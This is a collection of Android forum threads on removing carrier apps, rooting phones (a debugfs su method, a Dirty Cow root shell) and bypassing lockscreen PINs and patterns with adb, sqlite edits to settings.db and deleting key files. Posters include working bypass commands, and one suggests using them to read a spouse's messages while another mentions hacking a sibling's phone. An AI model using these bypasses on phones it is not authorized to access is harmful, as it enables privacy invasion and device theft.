Related
how can i get the removed sprint apps
By searching for them. They're all over the place.
jerry43812 said:
By searching for them. They're all over the place.
Click to expand...
Click to collapse
root your phone.
a lot of the custom roms have them removed already but if u dont want to go that route then after rooting find the package names for the sprint apps. this can be done by searching online for them or issuing the following commands once your phone has been connected and in debugging mode:
adb shell
ls system/app
this will list all the files in that directory.
once you know the app name issue the following commands inside the shell (phone is connected to the computer in debugging mode and adb shell has been run)
rm system/app/<sprint app>.apk
There are a couple other ways posted for folks who have forgotten lockscreen password or pattern, but this methods REMOVES the PIN. for pattern and password follow other methods
This method requires root access and debugging enabled.
*if debugging is not enabled it can be done from any custom recovery
-reboot recovery and follow code
PIN
Code:
adb shell
# sqlite3 /data/data/com.android.providers.settings/databases/settings.db
sqlite> update secure set value=65536 where name='lockscreen.password_type';
sqlite> .exit
# exit
adb reboot
step one
Code:
adb shell
make sure you have # in the command prompt/terminal (if not type su)
step two
Code:
sqlite3 /data/data/com.android.providers.settings/databases/settings.db
you will now see sqlite>in command prompt/terminal
step 4
Code:
update secure set value=65536 where name='lockscreen.password_type';
still sqlite>
step 5
Code:
.exit
you will see the # again
step 6
Code:
exit
you will now be in the path/to/adb command prompt/terminal again
step 7
Code:
adb reboot
Enjoy full access to the device
Now lets say you think your wife is cheating on you (which she probably is) and you want to check her sext messages but return the PIN back when you are done.
Code:
adb shell
# sqlite3 /data/data/com.android.providers.settings/databases/settings.db
sqlite> update secure set value=131072 where name='lockscreen.password_type';
sqlite> .exit
# exit
adb reboot
I find this a bit scary, how would you normally prevent ADB or Recovery hacking like this if your device gets stolen?
BrotherG said:
I find this a bit scary, how would you normally prevent ADB or Recovery hacking like this if your device gets stolen?
Click to expand...
Click to collapse
I recommend Avast Anti Theft.
When your device gets stolen, the new owner will take the sim card out and put his in huh?
Well, anti theft sends a pre-entered number a warning that an other SIM is in it. Via sms commands, you can turn GPS on, send the location, block root and stuff.
It wont be deleted as it is a system app
I use it.
Thanks for the job, needed this for hacking my bros phone xD
Greets!
hahaha. .... these Feds could of used this method. They couldnt get past the lockscreen. Great read here.
How a Pimp’s Android Pattern Lock Foiled the Feds
http://gizmodo.com/5893410/how-a-pimps-android-pattern-lock-foiled-the-feds
Looks like CyanogenMod is working on securing ADB
Security and You
March 16th, 2012
jeagoss
1
Many of you may not give it a second glance, but among all the furor and concern about permissions requested by market apps and privacy, all Custom ROMs (CyanogenMod included) ship with one major security risk — root!
We have been struggling with how to handle this for quite a bit, and took a first step with the first public CyanogenMod 9 alpha builds, by disabling the previously-default root access over USB. You can still get adb root access by running “adb root” in terminal, should you ever need it.
We recently merged 3 patches into CyanogenMod 9, to further address this: http://goo.gl/eCjDV http://goo.gl/oWAFI and http://goo.gl/34vai.
What follows is an explanation of the changes, how they affect you and our reasoning behind them.
What do the patches do?
They disable root selectively and in a configurable way. Users will be able to configure their exposure to root as:
Disabled
Enabled for ADB only
Enabled for Apps only
Enabled for both
How does this change affect the usage of your device, and root apps you have installed?
On a default CyanogenMod installation, root usage will have to be explicitly enabled by the user. This means that the user is fully aware that any application that uses root may perform actions that could compromise security, stability and data integrity. Once enabled, the process mirrors that of the current process, apps that request root will be flagged by the SuperUser.apk and the user will have to grant selective access.
Why the change?
At CyanogenMod, security has always been one of our primary concerns, however, we were hesitant to make a change that might disrupt the current root ecosystem. With CyanogenMod 9 we have the opportunity to do things better, whether its the code in the OS, UI/UX, or security – we are taking this time to do things with a fresh approach.
Shipping root enabled by default to 1,000,000+ devices was a gaping hole. With these changes we believe we have reached a compromise that allows enthusiasts to keep using root if they so desire but also provide a good level of security to the majority of users.
What concerns remain?
Many of you reading this are savvy enough to note a remaining hole in this approach – recovery and unlocked bootloaders. The bootloaders are out of our hands, there is little to nothing we can do on that front.
Regarding recovery – with unlocked bootloaders, a malicious user could just flash a new recovery image (without any potential security we could apply) or just dump the data partition. This however, requires physical access to the device. As such, the security standards for this are highly reliant on you, the device owner. Data encryption is available in ICS to safeguard your data. (Warning for emmc only users – encrypted /data means recovery will be non-functional.)
The onus is on you to secure your device; take care of your possessions, and this risk is minimal. Always make sure you take devices out of your car before you go into the mall and remove them from pockets before washing laundry. Common sense is a basic security tool.
But Why?
We honestl
Click to expand...
Click to collapse
Source: http://www.cyanogenmod.com/blog/security-and-you
mDroidd said:
I recommend Avast Anti Theft.
When your device gets stolen, the new owner will take the sim card out and put his in huh?
Well, anti theft sends a pre-entered number a warning that an other SIM is in it. Via sms commands, you can turn GPS on, send the location, block root and stuff.
It wont be deleted as it is a system app
I use it.
Thanks for the job, needed this for hacking my bros phone xD
Greets!
Click to expand...
Click to collapse
All true, if speaking of a casual thief- maybe you left the phone on the bar and someone couldn't resist the temptation. A couple of months ago my wife's phone was recovered in such an occasion- got an sms from Avast Theft Aware with the new number, contacted the rather surprised "honest finder" and he decided to return it back to us.
Anyway, two weeks ago went scubadiving and when returning to the car found the window broken and sure, among other stuff (wallets, scuba gear etc) also both our phones were stolen. However, this time it looks like the thieves were not quick to put their own sim card. Actually, it looks like they've removed the batteries, thrown the sim cards away (the're useless anyway as the carrier blocks the sim).
Since then, no signs whatsoever that the phones have been turned on, sims replaced or that someone has tried to type wrong security pin or whatever- no sms notifications, no emails, no webtracking, nothing.
My guess- the thieves sell them for a small fee (20% of street price?) to some lab or someone who knows "how to deal with it"- do a good wipe (not just factory reset) and remove whatever stuff was installed- system app or not- then put them on market for sale as second hand. Or maybe they just wait with patience a few weeks until you stop looking for it?
So, sometimes these apps like Avast, Cerberus and the such work, sometimes not. Better to keep the phone safe and not rely on it being stolen by a stup!d thief...
On the bright side, one can consider it as an opportunity for upgrade
irst I typed in :
sqlite3 /data/data/com.android.providers.settings/databases/settings.db
However, in spite of what he stated, sqlite>in command prompt doesn't appear.
Instead, I get
/system/bin/sh: sqlite3: not found
how do i set sqlite working?
I'm unable to launch sqlite3 from adb shell
I can manually launch sqlite from the folder but not in cmd
You have to install sqlite3 - https://play.google.com/store/apps/details?id=ptSoft.util.sqlite3forroot&hl=en
Is there a tutorial for a password locked screen too?
Is there another way to bypass the pin code lockscreen? Cus´ I´m always stucking on:
" /sbin/sh: sqlite3: not found "
I have installed sqlite from market
any idea?
whoa, you guys are amazing, this worked like a charm on a password locked tablet
polaroid pmid70c
this is a scary concept if you value your android device consider installing a paid service like dyndns and install the paid version of real vnc onto the device and have ssh setup as well this would help to recover your phone in the event it becomes stolen you could ssh into it launch apps view and control the phone remotely via vnc hell even take pictures ,, turn on gps all sorts of cool things
holm94 said:
Is there another way to bypass the pin code lockscreen? Cus´ I´m always stucking on: " /sbin/sh: sqlite3: not found " I have installed sqlite from market
Click to expand...
Click to collapse
your phone is root enabled? Superuser or SuperSU app installed? Connect USB and run "adb root" and that works?
Try this installer app again https://play.google.com/store/apps/details?id=ptSoft.util.sqlite3forroot&hl=en
I flashed the root feature with SuperSU update zip file in recovery mode, and rebooted.
I grabbed a 'sqlite3' binary made for ARM cpu from the 'net and manually pushed it to my phone's /system/xbin/ directory.
1. unzip this sqlite3 file
2. power on device in custom recovery mode, ('factory mode' also may work, such as in some chinese phones, including my Jiayu)
3. connect USB cable, and in recovery mode, mount the /system directory and any other directorys you will use (see screenshot)
4. open a command prompt (terminal) on computer and run these commands
Code:
[I]adb root[/I]
[I]adb remount[/I]
[I]adb push sqlite3 /system/xbin/sqlite3[/I]
[I]adb shell[/I]
[I]chmod 755 /system/xbin/sqlite3[/I]
[I]sqlite3 -h[/I]
...
exit
adb reboot
* alternate method: if #4 'adb root' does not work, then turn on phone to normal running mode and do:
Code:
adb push sqlite3 /data/local/tmp/sqlite3
adb shell
su
mount -o rw,remount /system
cp /data/local/tmp/sqlite3 /system/xbin/
rm /data/local/tmp/sqlite3
chmod 755 /system/xbin/sqlite3
sqlite3 -h
...
exit
exit
adb reboot
"exit" twice for alternate method.
All this can be done over Wifi instead of USB via a SSH server app.
^_^
I can run all the commands fine, but the PIN lock is still there on my phone after reboot. Android 4.2.1, Jiayu Chinese ROM. So method does not work.
help me, im stuck at " error: device unauthorized. Please check the confirmation dialog on your device."
I know this is super old thread but I used this method and combination with other commands I found on internet to bypass my lockscreen on att samsung galaxy s7 phone I had forgotten pin code on.
I was using fingerprint for a couple of months and rebooted phone for an update and it requires pin code first time before using fingerprint again and I had flat out forgot it. When it got to 1 hour wait between input retrys I searched and found this and other methods. I read no methods work unless rooted.
Luckily and thank God I'm rooted and usb debugging turned on and I have adb installed configured and have used with phone before....thank God. Because pretty much every and anything else on the phone is turned off on phone so I keep off the grid.
I know I'm dragging this out but I want to document and reiterate the value of xda. I will try and remember exactly what I did and may just redo it to be sure and list my exact steps.
One thing, I don't have sqlite3 curser when connecting with adb....I have hero2qltatt or something like that .....I'll get corrected with an edit when I go thru again to make sure.
Also, once I got past lockscreen, when I went into setting/lockscreen&security/ on the phone it still showed pin,fingerprint as security but somehow which still baffles me there was a pick for 'swipe' available....but I still don't know how that happened or how it appeared but I kept trying different pin codes to try to reset that which now there were no limits or time delays but still couldn't remember and then I saw a pick for 'swipe' and that solved it all. I rebooted again to be sure and perfect. Then I went in to recovery and wiped cache and now my phone is back exactly as before.
I wrote down the pin code this time.
Eventually soon I will rerun my steps and document exactly and maybe there is already a more recent account but I found this one first and it pretty much worked....thanks.
OK this is what I used:
adb shell
cd data/system
su
rm *.key
reboot
UPDATE: I created a tool based on this method. Head over to the new thread.
---
WARNING: This is WIP for now. Don't run it if you aren't comfortable with the possibility of having something go wrong and having to re-Odin back to stock or worse. I was already rooted and had Busybox installed, so even though I temp-unrooted first, I don't know for certain if this will work on a stock device. If anyone wants to flash back to pure stock and give it a shot, I'd appreciate it. If it works, I'll try and make it easier to use.
NOTE: This may give you the custom unlock screen! I'm not 100% certain it was this root method that did it, though, as I had installed BusyBox and frozen several system apps with TiBu before my most recent reboot. I need someone willing to test. I don't have time to backup, flash to stock, and retry at the moment.
Background: Since some people seem to have mysterious issues after flashing the root66 image, I've been looking at existing ICS root methods which don't require flashing ROMs to see if any work on the GSIII. I think I've found one.
This is an adaptation of miloj's root method for the Asus TF300T. All credit goes to him and anyone else he mentioned in his post.
Instructions:
Install the USB drivers if you don't have them already: Verizon_Wireless_I535_GSIII_Samsung_USB_Driver_v1_4_6_0.exe
Download the attached binary package and extract them somewhere
Set up adb and make sure you can see your phone
Run the following commands in a shell. Red is a prompt you will see on the screen, black is something you type, blue is a comment.
Code:
adb push debugfs /data/local/
adb push su /data/local/
adb shell
[COLOR="Red"]$[/COLOR] cd /data/local/
[COLOR="Red"]$[/COLOR] mv tmp tmp.bak
[COLOR="Red"]$[/COLOR] ln -s /dev/block/mmcblk0p14 tmp
[COLOR="Red"]$[/COLOR] exit
adb reboot
[COLOR="RoyalBlue"]... wait for phone to reboot ...[/COLOR]
adb shell
[COLOR="Red"]$[/COLOR] cd /data/local
[COLOR="Red"]$[/COLOR] toolbox chmod 755 /data/local/debugfs
[COLOR="Red"]$[/COLOR] /data/local/debugfs -w /data/local/tmp
[COLOR="Red"]debugfs:[/COLOR] cd xbin
[COLOR="Red"]debugfs:[/COLOR] rm su
[COLOR="Red"]debugfs:[/COLOR] write /data/local/su su
[COLOR="Red"]debugfs:[/COLOR] set_inode_field su mode 0106755
[COLOR="Red"]debugfs:[/COLOR] set_inode_field su uid 0
[COLOR="Red"]debugfs:[/COLOR] set_inode_field su gid 0
[COLOR="Red"]debugfs:[/COLOR] quit
[COLOR="Red"]$[/COLOR] rm /data/local/tmp
[COLOR="Red"]$[/COLOR] mv /data/local/tmp.bak /data/local/tmp
[COLOR="Red"]$[/COLOR] exit
adb reboot
[COLOR="RoyalBlue"]... wait for phone to reboot ...[/COLOR]
adb shell
[COLOR="Red"]$[/COLOR] /system/xbin/su
[COLOR="Red"]#[/COLOR] id
[COLOR="RoyalBlue"]You should see: id=0(root) gid=0(root) ....[/COLOR]
[COLOR="Red"]#[/COLOR] exit
[COLOR="Red"]$[/COLOR] rm /data/local/su
[COLOR="Red"]$[/COLOR] rm /data/local/debugfs
[COLOR="Red"]$[/COLOR] exit
This is using miloj's insecure su, so you should install the superuser app and immediately use its binary update feature to install a proper binary. Otherwise, you're just asking to get malware.
I very much like this root method. Would be interested to see if anyone else is able to get this successfully done on their stock devices.
Worst case, I'll be getting a replacement phone on Wednesday due to some minor screen issues, so I'll be forced to try it then.
Let US know if it works...I have slow connection that times out at 80% because of these huge Rom files
Sent from my SCH-I535 using xda app-developers app
Thanks for working on this Ninja, and thanks for sharing with us. :good:
Sounds like it will be the cleanest root method yet.
$ mv /data/local/tmp.back /data/local/tmp
should be
$mv /data/local/tmp.bak /data/local/tmp
---------- Post added at 05:46 PM ---------- Previous post was at 05:38 PM ----------
This is CONFIRMED working on my VIRGIN SGS3 I got today. had to fix the one typo above. No problems yet. just don't break things freezing too many apps. Somone script up a one click root. If you dont, I will tonight. (In about 3 or four hours or so.)
FlyingPoo said:
$ mv /data/local/tmp.back /data/local/tmp
should be
$mv /data/local/tmp.bak /data/local/tmp
Click to expand...
Click to collapse
The perils of copy/pasting half from the original post and half from my local shell.
FlyingPoo said:
This is CONFIRMED working on my VIRGIN SGS3 I got today. had to fix the one typo above. No problems yet. just don't break things freezing too many apps. Somone script up a one click root. If you dont, I will tonight. (In about 3 or four hours or so.)
Click to expand...
Click to collapse
I'm working on one now. It's about 2/3 done. I have to go run a couple errands before I can finish it, though.
alrighty, cool beans!
FlyingPoo, did you get the "custom unlock" boot screen after adding the su binary?
May have to try this one out! Thanks
Tool here: http://forum.xda-developers.com/showthread.php?t=1792342
Did not want to post in the tool thread to confuse people so maybe this can be used a basic research to make this method as seamless as possible? Let us know what you prefer Ninja.
Wanted to give some more details on the "custom unlock" boot screen. There was some new findings from Lee (aka ralekdev) who is working on unlocking the bootloader.
Ralekdev said:
In other news, I found what keeps resetting the 16 byte encrypted romtype in param.img. It's libcordon.so, which is from /system/app/SysScope.apk (it'll also be copied to /system/lib/libcordon.so). It's using quite a few checks to see if you've modified your system.
There's an adb scanner, checking to see if you've changed the ro.secure or ro.debuggable props.
The root process scanner checks running processes and returns true if any are found running as root that are not one of:
"debuggerd", "init", "installd", "servicemanager", "vold", "zygote", "netd", "ueventd", "dock_kbd_attach", "pppd", "pppd_runner", "mpdecision", "thermald", "hdmid", "sec_keyboard", "seccmmond", "mfsc", "mfdp"
There's also a partition check, kernel checker, su scanner, and a file scanning mechanism using data from a sqlite db
So to completely remove the Samsung custom screen on bootup and 5 second delay you'd need to disable the SysScope.apk, then encrypt and write the 16 bytes yourself using 0xFF000000 as the first int to mark yourself as official
Click to expand...
Click to collapse
If I understand correctly, there is a SysScope.apk that does various checks detailed in that post so I'm assuming if that apk is disabled on a "virgin" system after doing this process would ensure that the custom flag never gets touched. There is also mention of a system dynamic library that does some checks but not sure impact of disabling that as well, maybe makes more sense to see what would other process would be using it besides SysScope.apk.
Interesting stuff. Sounds like just freezing/removing them will still give custom unlock, but it might be possible to write replacements which don't actually do the checks.
Unfortunately, I won't have a huge amount of time to spend on research for the next two weeks, but I'll see what I can do, and see what the other devs have done with reversing SysScope and libcordon.
This root method reminds me of Motorola's infamous "zergRush" root exploit. A great way to root the device without even touching the ROM.
Noxious Ninja said:
Interesting stuff. Sounds like just freezing/removing them will still give custom unlock, but it might be possible to write replacements which don't actually do the checks.
Unfortunately, I won't have a huge amount of time to spend on research for the next two weeks, but I'll see what I can do, and see what the other devs have done with reversing SysScope and libcordon.
Click to expand...
Click to collapse
Sounds good.
I could be wrong but I'd imagine that since that by default the flag is not set so we should be good by just disabling them. I might just be the guinea pig and immediately rename SysScope and the libcordon after rooting to see if flag gets tripped.
Based on Lee's analysis what doesn't add up is why people who flash the full rooted "stock image" have not reported this flag being tripped yet...
lowg said:
Sounds good.
I could be wrong but I'd imagine that since that by default the flag is not set so we should be good by just disabling them. I might just be the guinea pig and immediately rename SysScope and the libcordon after rooting to see if flag gets tripped.
Based on Lee's analysis what doesn't add up is why people who flash the full rooted "stock image" have not reported this flag being tripped yet...
Click to expand...
Click to collapse
It might be that if you disable them while you don't have custom unlock, it works, but if you already have custom unlock you would have to reset it somehow.
If you decide to try it, see if you can still bring up the Settings ––> About device ––> Status menu to see Device status, or if that crashes.
Noxious Ninja said:
It might be that if you disable them while you don't have custom unlock, it works, but if you already have custom unlock you would have to reset it somehow.
If you decide to try it, see if you can still bring up the Settings ––> About device ––> Status menu to see Device status, or if that crashes.
Click to expand...
Click to collapse
Ok, after rooting, I immediately disabled only SysScope.apk by renaming it, installed Superuser from market and updated binary, rebooted no unlock screen. Settings -> About device -> Status works fine. Device status section shows "Scanning..." for about two minutes after rebooting then simply "Modified".
After this tried soft reboot, hard reboot numerous times and still no "custom unlock" boot screen.
lowg said:
FlyingPoo, did you get the "custom unlock" boot screen after adding the su binary?
Click to expand...
Click to collapse
hmm. actually i do. Altho my Device status says normal.
FlyingPoo said:
hmm. actually i do.
Click to expand...
Click to collapse
hmmm, maybe it does have something to do with that apk then. originally that's all I renamed but since then froze a lot of apps and still no unlock, only showing modified status
Sent from my SCH-I535
FlyingPoo can you post more about what you did after rooting?
Did you immediately installs the ChainsDD version of su (via the binary updater in the Superuser market app) or did you stick with the version of su that came with the script for a while?
Did you ever enter "Odin/Download" mode of your device?
Just trying to figure out how our devices could have a different status if we both started from "virgin" GS3s.. Don't want to assume it's just SysScope either since I never disabled the libcordon.so and maybe it's used in other places in the system...
Dislcaimer: this is for educational purposes only,you shall not use this on other people phones without permission under any circumstances,and am not responsable to any misuse of this hack
Click to expand...
Click to collapse
ok so not long ago i had a problem with a locked android device with a pattern and i managed to unlock it using adb,so here's how in case you were stuck one day with a locked device.
the device needs to have usb debugging enabled in case usb debugging isn't enabled and you have cwm you can run the same instructions from cwm,root is not required (though it will be so better if the device was rooted)
this was tested on:gingerbread,ice cream sandwich and jelly bean.
both method are through adb.
method 1:
Code:
adb shell
cd /data/data/com.android.providers.settings/databases
sqlite3 settings.db
update system set value=0 where name='lock_pattern_autolock';
update system set value=0 where name='lockscreen.lockedoutpermanently';
.quit
-AND/OR-
method 2:
Code:
adb shell rm /data/system/gesture.key
and that's a video showing how method 2 is done (thanks to melvinchng) : http://www.youtube.com/watch?v=tVJ7T2oC_Zs&feature=player_embedded
you can try both of them,here is how i managed to remove the lock:
1- run the first method.
2-reboot
3-run the second method
4-reboot
NOTES:
-in the first method each line is a seperate command so click enter after typing each line.
-in the second method type all the command and then press enter.
-after running both methods and rebooting you may see the pattern lock,that doesn't necessarily mean it doesn't work,just try any random pattern and it may unlock then remove the pattern from settings.
-this may and may not work,it may work on some devices and don't on others,so all you can do is trying it but i can't assure it will work.
a small donation would be much appreciated thank (check my signature)
But What if i remember the password well enough, but didnt have data enabled the moment it got locked?
Explained elaborately here>>>http://forum.xda-developers.com/showthread.php?p=29963687
It will unlock either (Loook at the time of message above - I am time traveler )
i have better method than bot the above ones
look for smudges on the phone
Do the files need to be restored or are they just the user data for the pattern locks?
This is really great...
i wonder how do you discover this
you must be a hacker
Or you could boot into recovery backup data
wipe factory reset and reboot
Could try restoring data but most likely restore pattern lock
Or simply enter your gmail address as requested
2nd option...
if you have Custom recovery
use AROMA File Explorer and you can do the same thing through the recovery
or adb through the recovery
FWIW, on CM10 neither method works as non-root. Yay CyanogenMod.
Method #1 FAIL:
1|[email protected]:/data/data/com.android.providers.settings/databases $ ll
opendir failed, Permission denied
255|[email protected]:/data/data/com.android.providers.settings/databases $ sqlite3 settings.db
Error: unable to open database "settings.db": unable to open database file
Method #2 FAIL:
[email protected]:/data $ ll /data/system/gesture.key
-rw------- system system 20 2012-08-11 04:51 gesture.key
[email protected]:/data $ rm /data/system/gesture.key
rm failed for /data/system/gesture.key, Permission denied
(I use faceunlock + pattern (mostly to keep my kid outta my phone), but if I actually cared more about security I'd encrypt my phone and use a passphrase instead)
This is a useful guide, thanks, I will try it :good:
So I guess if Debugging wasn't previously enabled, you have no chance to unlock it...
I've noticed a locked Archos tablet in a shop (probably some stupid shopper locked it) and when I saw this thread announced on the first page I was thinking of helping the shop owner. But I guess I cannot.
Have a nice day!
I don't know whether this method can use on neither:
Rooted
Installed Busybox
Rom Version Older or Newer than CM7
This method require ADB Debugging On & A PC & A tool Provided
I found this trick a long time ago
I come for sharing
Click to expand...
Click to collapse
Download the By-pass security Hack.7z
http://www.mediafire.com/download.php?li2686c3jenmen6
Click to expand...
Click to collapse
Primary Step for all method:
Click to expand...
Click to collapse
Extract it to anywhere using 7-zip.
Open SQLite Database Browser 2.0.exe in SQLite Database Browser.
Run pull settings.db.cmd inside By-pass security Hacks folder to pull out the setting file out of your phone.
Drag settings.db and drop to SQLite Database Browser 2.0.exe program.
Navigate to Browse data tab, At table there, click to list down the selection & selete secure
Instruction To Remove Pattern Lock:
Click to expand...
Click to collapse
Now, find lock_pattern_autolock, Delete Record
Close & save database
Run push settings.db.cmd and reboot your phone
Instruction To Remove PIN Lock:
Click to expand...
Click to collapse
Now, Find Or Create lockscreen.password_type, double-click & change it's value to 65536, Apply changes!
Now, find lock_pattern_autolock, Delete Record, If doesn't exist, Ignore
Close & save database
Run push settings.db.cmd and reboot your phone
Instruction To Remove Password Lock:
Click to expand...
Click to collapse
Now, find lockscreen.password_salt, Delete Record
Now, find lockscreen.password_type, Delete Record
Close & save database
Run push settings.db.cmd and reboot your phone
hmmm i hope those thief's don't find these thread lol
zmore said:
FWIW, on CM10 neither method works as non-root. Yay CyanogenMod.
Click to expand...
Click to collapse
Nor does either method work on unrooted Galaxy Nexus with stock Jelly Bean. Yay stock Android.
mixtapes08 said:
hmmm i hope those thief's don't find these thread lol
Click to expand...
Click to collapse
don't leave usb debugging checked on then.
I advise you guys to also post your Android version. My opinion is that the security hole that permits this hack has been removed in JellyBean, maybe even in an earlier version.
I will try it too a little later, just for the fun's sake.
aussiebum said:
don't leave usb debugging checked on then.
Click to expand...
Click to collapse
If you have forgotten to leave USB debugging enabled, reboot your phone into recovery and do the same. No USB debugging required.
You may however need to mount the partition being accessed by this method, and you can do that only if you have a custom recovery installed (which you more-than-likely have, since you're here on XDA). Just go to 'Mounts and Storage' and mount /data. Then use the method just the normal way. Cheers!
Useful guide for sure. Will keep this as reference!
Does this only work for the pattern unlock or will it also work on the password or the PIN unlock screen?
I can confirm that it is working on a CM7.2 Motorola Defy.
Thanks m.sabra!
This thread is made in an effort to root the ZTE Grand X 4 (Z957). At this point I've made some progress by using the Dirty Cow exploit to access a root shell via ADB, but have been unable to install su to the system partition.
Notes: stock rom, no custom recovery.
Exploit method:
Follow the instructions posted by Arinerron on GitHub regarding CVE-2016-5195 (under 10 posts, cannot share direct link)
When successful you will see "[email protected]:/ #" as your shell prompt, however the session will hang after any command. That said, /system/run-as is still updated allowing you to do the following:
$ adb shell
[email protected]:/ $ run-as
uid run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
[email protected]:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
you have access to the android system as root within this shell, but this is where I'm getting stuck. I'm not able to find a way to mount the system partition as read/write, and as such unable to install su. Also note that you will need to run the exploit again anytime you reboot the device. I have tried the following methods:
$ adb shell cp /sdcard/Download/su /system/bin/su
cp: /system/bin/su: Read-only file system
[email protected]:/ # mount -o rw,remount /system
mount: Permission denied
adb reboot disemmcwp
#still unable to remount the system partition
At this point I'll share what I've been able to do so far and see if anyone else has ideas for a next step.
Have you figured out how to root the z957.
This worked on my ZTE GrandX Max Plus to permanently disable the write protection on the system partition.
Good luck!!
reboot disemmcwp
If you ever want to re-enable being blocked from mounting system rw:
reboot emmcwpenab
Any luck on this root? I am looking to buy a phone on Cricket, but I need one that I can root.
Bump? Would love to see root here!
Bump, I've tried but I also get stuck on the same three methods:
$ adb shell cp /sdcard/Download/su /system/bin/su
cp: /system/bin/su: Read-only file system
[email protected]:/ # mount -o rw,remount /system
mount: Permission denied
adb reboot disemmcwp
#still unable to remount the system partition
Grand X 4
has anyone successfully rooted the grand x ?!
Thought I would post an update: Still no success on my end.
"Rooting" is easy, but breaking out of the selinux context to do anything is hard. ie. I expanded on timwr/CVE-2016-5195 by trying to use vikiroot to break out of the u:r:shell:s0 context. To do this adb push the vikiroot exploit to /data/local/tmp and then use the timwr method to run that exploit as root:
[email protected]:/ # /data/local/tmp/exploit
Unfortunately I could only get the reverse shell to work as a glorified echo. If anyone knows where I could find some c++ code for running a shell in android for me to work off of I'm willing to see how much further I can get in that direction.
As disemmcwp doesn't work I'm wondering if ZTE found a different way to lock down the system partition? Interestingly there is an OEM-specific settings button that is greyed out (find it at *#*#4636#*#*).
I'm running firmware from Wind/Freedom Mobile so I can access the bootloader and unlock it, but I can't install SU or anything from stock. Additionally, there is no TWRP released for this phone yet. I have no idea where to find the board config files for this phone. Without a custom bootloader I'm not sure how to make permanent changes to the rom at this point.
Thanks for your work on this. Stock Rom is pretty clean, but root would be great on this.
I've tried many different ways to root this phone. For weeks, I've tried. Nothing. I personally think that there is no way to, not now at least.
Don't know if this will help but, I found that they lock the bootloader under the developer settings!
Has anyone tried a one click root application like KingoRoot ?
Or is this more for doing it on your own without a service like that?
Previously I had tried a series of one click solutions but I haven't found any that support this device yet. Typically they use the same exploits we've tried to use the hard way
After slacking for awhile I was finally able to poke around some of the internals of the phone in FTM mode using qualcomm developer tools. Lots of nifty things in the embedded file system and plenty of opportunities to flash new boot loaders and roms to the device for those of you who have a locked bootloader, but unfortunately I haven't been able to extract a copy of the stock rom or bootloaders. I'm still lacking the information I need to compile a new one for the phone.
Where I stand:
Can create a root shell, cannot remount system as read/write for permanent root in stock rom.
Can install new boot loader, no twrp or other found for this hardware.
Can compile new twrp, no boardconfig files (handy to avoid bricking your phone)
Can explore EFS and access chip via FTM, not sure how or if possible to download current rom / bootloader from here.
Happy for any tips on what to try next!
Can you tell me which tools you used? I looked at the Qualcomm site and there are plenty to choose from.
If you can get those tools off of the site maybe I'll message you about grabbing a few items on my Christmas list! QPST includes the tools necessary, and the tools to backup the 425 should you accidentally brick your phone (basically impossible to truly brick a qualcomm if you have the right tools). Archive.org has a copy, don't remember where to find the driver pack but you'll need that too (and a windows build).
Read through some notes on marshmellow and sounds like you have to remount system from recovery. I'm camping for the next month but will try talking to the TWRP team about porting a bootloader to the phone when I get back.
Let me know if you make any headway!
try this adb command and see if you get a qualcomm serial port after reboot
Code:
adb reboot edl
if that doesnt work try
Code:
adb reboot bootloader
then run the attached
How did you get into diag mode? Just do the temp root method and setprop sys.usb.config diag,adb?
https://freeandroidroot.com/root-zte-grand-x-4/
This page claims to have a root method but does it actually work? I've tried twice with no success.
How's everyone here? I also am awaiting root for this device. It really needs some shine on it's mid levelness. So here is my friend's zte warp 7 work for root. He also got some killer roms for the Huawei ascend XT. He does great work. I'm sure if he had a grand x 4 he could move this along. Just a suggestion. This man can this done. Just a suggestion for all of us. https://forum.xda-developers.com/showpost.php?p=72560392&postcount=246
---------- Post added at 11:31 PM ---------- Previous post was at 11:10 PM ----------
https://forum.xda-developers.com/member.php?u=7934375
Anyone root this phone yet?
Sent from my Z956 using XDA-Developers Legacy app